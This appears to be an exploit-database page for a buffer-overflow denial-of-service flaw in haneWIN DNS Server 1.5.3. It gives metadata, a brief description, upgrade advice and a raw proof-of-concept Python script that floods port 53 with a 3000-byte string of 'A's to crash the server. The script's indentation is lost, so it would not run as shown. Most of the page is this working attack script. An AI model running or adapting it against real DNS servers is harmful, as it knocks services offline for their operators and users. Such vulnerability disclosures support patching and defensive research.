header-logo
Suggest Exploit
vendor:
hanewin_dns_server
by:
sajith
7,5
CVSS
HIGH
Denial of Service
119
CWE
Product Name: hanewin_dns_server
Affected Version From: 1.5.3
Affected Version To: 1.5.3
Patch Exists: YES
Related CWE: N/A
CPE: //a:hanewin:hanewin_dns_server:1.5.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2020

haneWIN DNS Server 1.5.3 – Denial of service

A buffer overflow vulnerability exists in haneWIN DNS Server 1.5.3, which could allow an attacker to cause a denial of service condition. By sending a specially crafted packet with an overly long string, an attacker can cause a buffer overflow, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of haneWIN DNS Server
Source

Exploit-DB raw data:

###########################################################
[~] Exploit Title: haneWIN DNS Server 1.5.3 - Denial of service
[~] Author: sajith
[~] version: haneWIN DNS Server 1.5.3
[~]Vendor Homepage: http://www.hanewin.net/
[~] vulnerable app link:http://www.hanewin.net/dns-e.htm
[~]Tested in windows Xp sp3
###########################################################
#POC by sajith shetty
import socket

target = "127.0.0.1"
port   = 53

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
buf = "A" * 3000
request = buf
s.send(request)
data = s.recv(1024)
print data

except:

print "DNS server is Down!"

Navigation

Suggest Exploit

Services By CQR